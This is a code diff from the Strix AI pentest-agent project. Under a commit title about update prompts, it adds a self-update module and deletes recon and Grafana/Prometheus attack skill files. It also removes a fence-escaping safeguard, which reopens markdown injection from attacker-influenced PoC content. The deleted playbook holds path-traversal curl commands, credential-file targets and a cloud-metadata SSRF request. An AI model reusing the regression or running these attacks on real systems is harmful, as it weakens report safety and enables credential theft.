fix(update): never show update prompt/notice in non-interactive runs

docs/advanced/skills.mdx

@@ -81,14 +81,6 @@ Protocol-specific testing techniques.
 | --------- | ------------------------------------------------ |
 | `graphql` | GraphQL introspection, batching, resolver issues |
 
-### Reconnaissance
-
-Passive discovery and attack-surface mapping techniques.
-
-| Skill             | Coverage                                                        |
-| ----------------- | --------------------------------------------------------------- |
-| `asset_discovery` | CT, TLS SAN pivoting, passive DNS, and ASN/IP asset enumeration |
-
 ### Tooling
 
 Sandbox CLI playbooks for core recon and scanning tools.

strix/interface/main.py

@@ -5,6 +5,7 @@ Strix Agent Interface
 
 import argparse
 import asyncio
+import os
 import shutil
 import sys
 from datetime import UTC, datetime
@@ -32,6 +33,13 @@ from strix.config.models import (
 from strix.core.paths import run_dir_for, runtime_state_dir
 from strix.interface.cli import run_cli
 from strix.interface.tui import run_tui
+from strix.interface.update_check import (
+    is_binary_install,
+    notify_update,
+    prompt_update_if_available,
+    self_update,
+    start_background_check,
+)
 from strix.interface.utils import (
     assign_workspace_subdirs,
     build_final_stats_text,
@@ -447,6 +455,14 @@ Examples:
         version=f"strix {get_version()}",
     )
 
+    parser.add_argument(
+        "--update",
+        action="store_true",
+        help="Update strix to the latest version and exit. Self-updates the "
+        "standalone binary install; for pip/pipx/uv installs, prints the "
+        "matching upgrade command instead.",
+    )
+
     parser.add_argument(
         "-t",
         "--target",
@@ -565,6 +581,9 @@ Examples:
 
     args = parser.parse_args()
 
+    if args.update:
+        sys.exit(0 if self_update() else 1)
+
     if args.instruction and args.instruction_file:
         parser.error(
             "Cannot specify both --instruction and --instruction-file. Use one or the other."
@@ -788,6 +807,8 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
         "[#60a5fa]discord.gg/strix-ai[/]"
     )
     console.print()
+    if not args.non_interactive:
+        notify_update(console)
 
 
 def pull_docker_image() -> None:
@@ -851,6 +872,12 @@ def main() -> None:
     if args.config:
         apply_config_override(validate_config_file(args.config))
 
+    start_background_check()
+    if not args.non_interactive and prompt_update_if_available(Console()):
+        if is_binary_install() and sys.platform != "win32":
+            os.execv(sys.executable, sys.argv)  # noqa: S606  # nosec B606
+        sys.exit(0)
+
     check_docker_installed()
     pull_docker_image()
 

strix/interface/update_check.py

@@ -0,0 +1,389 @@
+"""Update notifications and self-update for the strix CLI.
+
+Follows the pattern used by tools like gh, uv, and pip: a background,
+rate-limited (once per 24h) check against the release source, a cached
+result in ``~/.strix``, a non-intrusive notice with the upgrade command
+for the detected install method, and a ``strix --update`` self-update
+path for the standalone binary install.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import json
+import logging
+import os
+import platform
+import shutil
+import stat
+import subprocess
+import sys
+import tarfile
+import tempfile
+import threading
+import time
+import zipfile
+from pathlib import Path
+from typing import cast
+
+import requests
+from rich.console import Console
+from rich.prompt import Prompt
+
+from strix.telemetry._common import get_version
+
+
+logger = logging.getLogger(__name__)
+
+GITHUB_REPO = "usestrix/strix"
+PYPI_PACKAGE = "strix-agent"
+CHECK_INTERVAL_SECONDS = 24 * 60 * 60
+REQUEST_TIMEOUT_SECONDS = 5
+
+_CACHE_PATH = Path.home() / ".strix" / "update-check.json"
+
+_background_thread: threading.Thread | None = None
+
+
+def _is_disabled() -> bool:
+    return bool(os.environ.get("STRIX_NO_UPDATE_CHECK")) or any(
+        os.environ.get(key)
+        for key in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL", "BUILDKITE", "CIRCLECI")
+    )
+
+
+def is_binary_install() -> bool:
+    return bool(getattr(sys, "frozen", False))
+
+
+def get_install_method() -> str:
+    if is_binary_install():
+        return "binary"
+    prefix = str(Path(sys.prefix)).replace("\\", "/")
+    if "/pipx/" in prefix or prefix.endswith("/pipx"):
+        return "pipx"
+    if "/uv/tools/" in prefix:
+        return "uv"
+    return "pip"
+
+
+def get_upgrade_command(method: str | None = None) -> str:
+    method = method or get_install_method()
+    commands = {
+        "binary": "strix --update",
+        "pipx": "pipx upgrade strix-agent",
+        "uv": "uv tool upgrade strix-agent",
+        "pip": "pip install --upgrade strix-agent",
+    }
+    return commands[method]
+
+
+def _parse_version(value: str) -> tuple[int, ...] | None:
+    parts = value.strip().lstrip("v").split(".")
+    try:
+        return tuple(int(part) for part in parts)
+    except ValueError:
+        return None
+
+
+def _is_newer(latest: str, current: str) -> bool:
+    latest_parts = _parse_version(latest)
+    current_parts = _parse_version(current)
+    if latest_parts is None or current_parts is None:
+        return False
+    return latest_parts > current_parts
+
+
+def _fetch_latest_version() -> str | None:
+    try:
+        if is_binary_install():
+            response = requests.get(
+                f"https://api.github.com/repos/{GITHUB_REPO}/releases/latest",
+                timeout=REQUEST_TIMEOUT_SECONDS,
+            )
+            response.raise_for_status()
+            tag = response.json().get("tag_name", "")
+            return tag.lstrip("v") or None
+        response = requests.get(
+            f"https://pypi.org/pypi/{PYPI_PACKAGE}/json",
+            timeout=REQUEST_TIMEOUT_SECONDS,
+        )
+        response.raise_for_status()
+        version = response.json().get("info", {}).get("version")
+        return str(version) if version else None
+    except Exception:  # noqa: BLE001
+        logger.debug("update check failed", exc_info=True)
+        return None
+
+
+def _fetch_asset_digest(version: str, filename: str) -> str | None:
+    """Return the expected sha256 (hex) for a release asset, if the API provides one."""
+    try:
+        response = requests.get(
+            f"https://api.github.com/repos/{GITHUB_REPO}/releases/tags/v{version}",
+            timeout=REQUEST_TIMEOUT_SECONDS,
+        )
+        response.raise_for_status()
+        for asset in response.json().get("assets", []):
+            if asset.get("name") == filename:
+                digest = asset.get("digest") or ""
+                if digest.startswith("sha256:"):
+                    return digest.removeprefix("sha256:")
+    except Exception:  # noqa: BLE001
+        logger.debug("release asset digest lookup failed", exc_info=True)
+    return None
+
+
+def _sha256_file(path: Path) -> str:
+    digest = hashlib.sha256()
+    with path.open("rb") as f:
+        for chunk in iter(lambda: f.read(1 << 20), b""):
+            digest.update(chunk)
+    return digest.hexdigest()
+
+
+def _read_cache() -> dict[str, object]:
+    try:
+        with _CACHE_PATH.open(encoding="utf-8") as f:
+            data = json.load(f)
+        if isinstance(data, dict):
+            return cast("dict[str, object]", data)
+    except Exception:  # noqa: BLE001, S110
+        pass  # nosec B110
+    return {}
+
+
+def _write_cache(**fields: object) -> None:
+    try:
+        cache = _read_cache()
+        cache.update(fields)
+        _CACHE_PATH.parent.mkdir(parents=True, exist_ok=True)
+        _CACHE_PATH.write_text(json.dumps(cache), encoding="utf-8")
+    except Exception:  # noqa: BLE001, S110
+        pass  # nosec B110
+
+
+def skip_version(version: str) -> None:
+    """Remember not to prompt again for this version (newer releases still notify)."""
+    _write_cache(skipped_version=version)
+
+
+def _refresh_cache() -> None:
+    latest = _fetch_latest_version()
+    if latest:
+        _write_cache(latest_version=latest, checked_at=time.time())
+
+
+def start_background_check() -> None:
+    """Refresh the cached latest-version info in a daemon thread (at most once per 24h)."""
+    global _background_thread  # noqa: PLW0603
+    if _is_disabled():
+        return
+    cache = _read_cache()
+    checked_at = cache.get("checked_at")
+    if isinstance(checked_at, int | float) and time.time() - checked_at < CHECK_INTERVAL_SECONDS:
+        return
+    _background_thread = threading.Thread(target=_refresh_cache, daemon=True)
+    _background_thread.start()
+
+
+def get_available_update(*, respect_skip: bool = True) -> str | None:
+    """Return the newer version from the cache, or None if up to date / unknown."""
+    if _is_disabled():
+        return None
+    if _background_thread is not None:
+        _background_thread.join(timeout=0.2)
+    cache = _read_cache()
+    latest = cache.get("latest_version")
+    current = get_version()
+    if not isinstance(latest, str) or current == "unknown" or not _is_newer(latest, current):
+        return None
+    if respect_skip and cache.get("skipped_version") == latest:
+        return None
+    return latest
+
+
+def notify_update(console: Console) -> None:
+    latest = get_available_update()
+    if not latest:
+        return
+    console.print(
+        f"[#eab308]A new version of strix is available:[/] "
+        f"[dim]{get_version()}[/] [dim]→[/] [bold #22c55e]{latest}[/]"
+        f"  [dim]·[/]  [#60a5fa]{get_upgrade_command()}[/]"
+    )
+    console.print()
+
+
+def run_package_upgrade(console: Console, method: str) -> bool:
+    """Upgrade a package-manager install by running its upgrade command."""
+    command = get_upgrade_command(method).split()
+    console.print(f"[dim]Running[/] [#60a5fa]{' '.join(command)}[/]")
+    try:
+        result = subprocess.run(command, check=False)  # noqa: S603
+    except OSError as e:
+        console.print(f"[bold red]Update failed:[/] {e}")
+        return False
+    if result.returncode != 0:
+        console.print(
+            f"[bold red]Update failed[/] [dim](exit code {result.returncode}).[/] "
+            f"Run it manually: [#60a5fa]{get_upgrade_command(method)}[/]"
+        )
+        return False
+    console.print("[#22c55e]✓ strix updated — restart the scan to use the new version[/]")
+    return True
+
+
+def prompt_update_if_available(console: Console) -> bool:
+    """Offer an interactive update before a scan starts.
+
+    Returns True if strix was updated (caller should re-exec / exit).
+    """
+    latest = get_available_update()
+    if not latest or not sys.stdin.isatty() or not sys.stdout.isatty():
+        return False
+    console.print()
+    console.print(
+        f"[#eab308]A new version of strix is available:[/] "
+        f"[dim]{get_version()}[/] [dim]→[/] [bold #22c55e]{latest}[/]"
+    )
+    console.print(
+        "[dim]  y — update now    n — not now (ask again next run)    s — skip this version[/]"
+    )
+    choice = Prompt.ask("Update strix?", choices=["y", "n", "s"], default="n")
+    console.print()
+    if choice == "s":
+        skip_version(latest)
+        return False
+    if choice != "y":
+        return False
+    method = get_install_method()
+    if method == "binary":
+        return self_update(console, version=latest)
+    return run_package_upgrade(console, method)
+
+
+def _release_target() -> str | None:
+    raw_os = platform.system().lower()
+    os_name = {"darwin": "macos", "linux": "linux", "windows": "windows"}.get(raw_os)
+    arch = platform.machine().lower()
+    arch = {"aarch64": "arm64", "amd64": "x86_64"}.get(arch, arch)
+    if os_name is None:
+        return None
+    target = f"{os_name}-{arch}"
+    supported = {"linux-x86_64", "macos-x86_64", "macos-arm64", "windows-x86_64"}
+    return target if target in supported else None
+
+
+def _download_and_replace(version: str, target: str, console: Console) -> bool:
+    is_windows = target.startswith("windows")
+    archive_ext = ".zip" if is_windows else ".tar.gz"
+    filename = f"strix-{version}-{target}{archive_ext}"
+    url = f"https://github.com/{GITHUB_REPO}/releases/download/v{version}/{filename}"
+    binary_name = f"strix-{version}-{target}" + (".exe" if is_windows else "")
+    current_exe = Path(sys.executable).resolve()
+
+    with tempfile.TemporaryDirectory() as tmp:
+        tmp_dir = Path(tmp)
+        archive_path = tmp_dir / filename
+        console.print(f"[dim]Downloading[/] {url}")
+        with requests.get(  # nosec B113
+            url,
+            stream=True,
+            timeout=REQUEST_TIMEOUT_SECONDS * 12,
+        ) as response:
+            response.raise_for_status()
+            with archive_path.open("wb") as f:
+                for chunk in response.iter_content(chunk_size=1 << 20):
+                    f.write(chunk)
+
+        expected_digest = _fetch_asset_digest(version, filename)
+        if expected_digest:
+            actual_digest = _sha256_file(archive_path)
+            if actual_digest != expected_digest:
+                raise RuntimeError(
+                    f"checksum mismatch for {filename}: "
+                    f"expected sha256 {expected_digest}, got {actual_digest}"
+                )
+        else:
+            console.print("[dim yellow]No published checksum available; skipping verification[/]")
+
+        if is_windows:
+            with zipfile.ZipFile(archive_path) as zf:
+                zf.extract(binary_name, tmp_dir)
+        else:
+            with tarfile.open(archive_path, "r:gz") as tf:
+                tf.extract(binary_name, tmp_dir, filter="data")
+
+        new_binary = tmp_dir / binary_name
+        new_binary.chmod(new_binary.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
+
+        staged = current_exe.with_name(current_exe.name + ".new")
+        try:
+            shutil.copy2(new_binary, staged)
+            if is_windows:
+                # Windows can't replace a running executable in place; move it aside first.
+                old = current_exe.with_name(current_exe.name + ".old")
+                old.unlink(missing_ok=True)
+                current_exe.rename(old)
+                try:
+                    staged.replace(current_exe)
+                except Exception:
+                    old.rename(current_exe)
+                    raise
+            else:
+                staged.replace(current_exe)
+        except Exception:
+            staged.unlink(missing_ok=True)
+            raise
+    return True
+
+
+def self_update(console: Console | None = None, version: str | None = None) -> bool:
+    """Replace the running standalone binary with the latest release.
+
+    Returns True on success. For package-manager installs this only
+    prints the right upgrade command and returns False.
+    """
+    console = console or Console()
+
+    if not is_binary_install():
+        method = get_install_method()
+        console.print(
+            f"[#eab308]This strix was installed via {method};[/] "
+            f"upgrade it with: [#60a5fa]{get_upgrade_command(method)}[/]"
+        )
+        return False
+
+    latest = version or _fetch_latest_version()
+    if not latest:
+        console.print("[bold red]Could not determine the latest strix version.[/]")
+        return False
+
+    current = get_version()
+    if current != "unknown" and not _is_newer(latest, current):
+        console.print(f"[#22c55e]strix {current} is already the latest version.[/]")
+        return True
+
+    target = _release_target()
+    if not target:
+        console.print(
+            f"[bold red]No prebuilt binary for this platform "
+            f"({platform.system()}/{platform.machine()}).[/]"
+        )
+        return False
+
+    try:
+        _download_and_replace(latest, target, console)
+    except Exception as e:  # noqa: BLE001
+        logger.debug("self-update failed", exc_info=True)
+        console.print(f"[bold red]Update failed:[/] {e}")
+        console.print(
+            "[dim]You can reinstall manually with:[/] "
+            "[#60a5fa]curl -sSL https://strix.ai/install | bash[/]"
+        )
+        return False
+
+    _write_cache(latest_version=latest, checked_at=time.time())
+    console.print(f"[#22c55e]✓ Updated strix to {latest}[/]")
+    return True

strix/report/writer.py

@@ -6,7 +6,6 @@ import csv
 import io
 import json
 import logging
-import re
 import tempfile
 from datetime import UTC, datetime
 from pathlib import Path
@@ -19,21 +18,6 @@ logger = logging.getLogger(__name__)
 
 _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
 
-_BACKTICK_RUN = re.compile(r"`+")
-
-
-def _safe_fence(content: str) -> str:
-    """Return a backtick fence that ``content`` cannot break out of.
-
-    Per CommonMark a fenced code block is closed only by a run of backticks at
-    least as long as the opening fence. LLM-authored, attacker-influenced values
-    (PoC scripts, code snippets) may contain their own ``` runs, so we open with
-    a fence one backtick longer than the longest run inside ``content`` (never
-    fewer than three). Everything in ``content`` then renders verbatim.
-    """
-    longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
-    return "`" * max(3, longest + 1)
-
 
 def read_run_record(run_dir: Path) -> dict[str, Any]:
     path = run_record_path(run_dir)
@@ -187,11 +171,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str:  # noqa: PLR0912, PL
             lines.append(str(report["poc_description"]))
             lines.append("")
         if report.get("poc_script_code"):
-            code = str(report["poc_script_code"])
-            fence = _safe_fence(code)
-            lines.append(fence)
-            lines.append(code)
-            lines.append(fence)
+            lines.append("```")
+            lines.append(str(report["poc_script_code"]))
+            lines.append("```")
             lines.append("")
 
     if report.get("code_locations"):
@@ -208,11 +190,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str:  # noqa: PLR0912, PL
             if loc.get("label"):
                 lines.append(f"  {loc['label']}")
             if loc.get("snippet"):
-                snippet = str(loc["snippet"])
-                fence = _safe_fence(snippet)
-                lines.append(f"  {fence}")
-                lines.extend(f"  {ln}" for ln in snippet.splitlines())
-                lines.append(f"  {fence}")
+                lines.append(f"  ```\n  {loc['snippet']}\n  ```")
             if loc.get("fix_before") or loc.get("fix_after"):
                 lines.append("\n  **Suggested Fix:**")
                 lines.append("```diff")

strix/skills/reconnaissance/asset_discovery.md

@@ -1,151 +0,0 @@
----
-name: asset-discovery
-description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force
----
-
-# Asset Discovery
-
-Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets.
-
-Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed.
-
-## Attack Surface
-
-- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force
-- Internal/staging/pre-prod hostnames leaked in certificate SAN lists
-- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed
-- Wildcard and short-lived certs revealing naming conventions (`*.internal.example.com`, `k8s-*`, `argocd.*`)
-- ASN-owned IP ranges hosting services with no DNS name at all
-- Virtual hosts co-located on shared IPs (multiple apps behind one address)
-- Non-HTTP services on discovered hosts (databases, brokers, admin ports)
-
-## High-Value Sources
-
-### Certificate Transparency (CT)
-
-CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name.
-
-- **crt.sh** (free, no key):
-  - By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u`
-  - By organization: `https://crt.sh/?O=Example+Inc&output=json`
-- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert.
-- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete.
-- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`).
-
-### TLS Certificate SAN/CN
-
-- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name.
-- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner.
-- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target.
-- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'`
-- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly.
-
-### Passive DNS
-
-- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs.
-- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames.
-- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra.
-
-### ASN & IP Ranges
-
-- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v <IP>"` or a BGP/ASN lookup.
-- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets.
-- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock.
-
-## Recommended Tooling
-
-Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
-
-- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
-- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
-- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
-- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"`
-- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
-- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
-- **`httpx`** — live probing + cert grab in one pass (see methodology).
-- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
-
-Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
-
-## Key Techniques
-
-### Iterative Seed Expansion
-
-Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing.
-
-### Cert-Fingerprint Pivoting
-
-Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
-
-### Naming-Convention Inference
-
-Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`<service>.<env>.example.com`) rather than blind brute force.
-
-### IP-First Discovery
-
-For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
-
-## Advanced Techniques
-
-- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
-- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
-- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
-- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
-
-## Consolidation & Probing
-
-1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence.
-2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed:
-   `httpx -l hosts.txt -sc -title -server -td -tls-grab -json -o assets.jsonl`
-3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product.
-4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports).
-5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill:
-   - Exposed dashboards / debug / observability / metadata leaks → `information_disclosure`
-   - Login/admin panels with default or weak creds → `weak_password_detection`
-   - Dangling DNS / unclaimed provider resources → `subdomain_takeover`
-   - Cloud consoles/metadata surfaces → `aws` / `gcp` / `kubernetes`
-
-## Testing Methodology
-
-1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org
-2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
-3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
-4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
-5. **ASN/IP mapping** - `asnmap` → `mapcidr` to expand owned ranges, then sweep for live hosts
-6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
-7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
-
-## Validation
-
-1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit)
-2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain
-3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated
-4. Record provenance (which source produced each asset) for reproducibility
-
-## False Positives
-
-- CDN/edge hostnames and provider default names that are not org-owned
-- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset)
-- Stale historical DNS entries pointing at reassigned infrastructure
-- Wildcard-cert-implied hostnames that never actually resolve or serve content
-
-## Impact
-
-- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses
-- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames
-- Attribution of shadow infra, acquisitions, and sibling domains to the target
-- A prioritized, classified inventory that feeds every downstream specialist skill
-
-## Pro Tips
-
-1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
-2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
-3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
-4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
-5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
-6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
-7. Keep JSON output throughout so stages chain cleanly (`subfinder` → `dnsx` → `httpx` → `naabu`).
-
-## Summary
-
-Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.

strix/skills/technologies/grafana_prometheus.md

@@ -1,189 +0,0 @@
----
-name: grafana_prometheus
-description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
----
-
-# Grafana & Prometheus (Observability Stack)
-
-Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
-
-## Attack Surface
-
-**Grafana** (default `:3000`)
-- Web UI + REST API (`/api/*`), login, org/user management, snapshots
-- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
-- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
-- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
-- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
-
-**Prometheus** (default `:9090`)
-- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
-
-**Alertmanager** (default `:9093`)
-- Alert/silence API (`/api/v2/*`), config with receiver credentials
-
-**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
-
-## Reconnaissance
-
-**Fingerprint & version** (version drives which CVEs apply)
-```
-GET /api/health                     # Grafana: {"version":"...","commit":"..."}
-GET /api/frontend/settings          # buildInfo, enabled auth, datasource types
-GET /login                          # Grafana login page / footer version
-GET /api/v1/status/buildinfo        # Prometheus version
-GET /metrics                        # any exporter → prometheus/node/go_* series
-```
-
-**Auth posture — always test unauthenticated first**
-```
-GET /api/datasources                # Grafana: 200 = anon/viewer has admin-ish read
-GET /?orgId=1                        # anonymous access enabled? lands on dashboards
-GET /api/v1/targets                  # Prometheus: 200 = no auth
-GET /api/v2/status                   # Alertmanager: 200 = no auth
-```
-
-**Credential entry points**
-- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
-- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
-- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
-
-## Key Vulnerabilities & CVEs
-
-### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
-Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
-```
-curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
-# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
-```
-High-value reads:
-- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds
-- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
-- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
-
-### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
-Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
-- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
-- Mitigation you'll see: remove `duckdb` from PATH.
-
-### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
-Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
-```
-POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
-```
-No creds needed when anonymous access is on (common in demo/lab).
-
-### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
-Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
-
-### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
-Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
-
-## Pivoting: Observability → Deeper Compromise
-
-This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
-
-### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
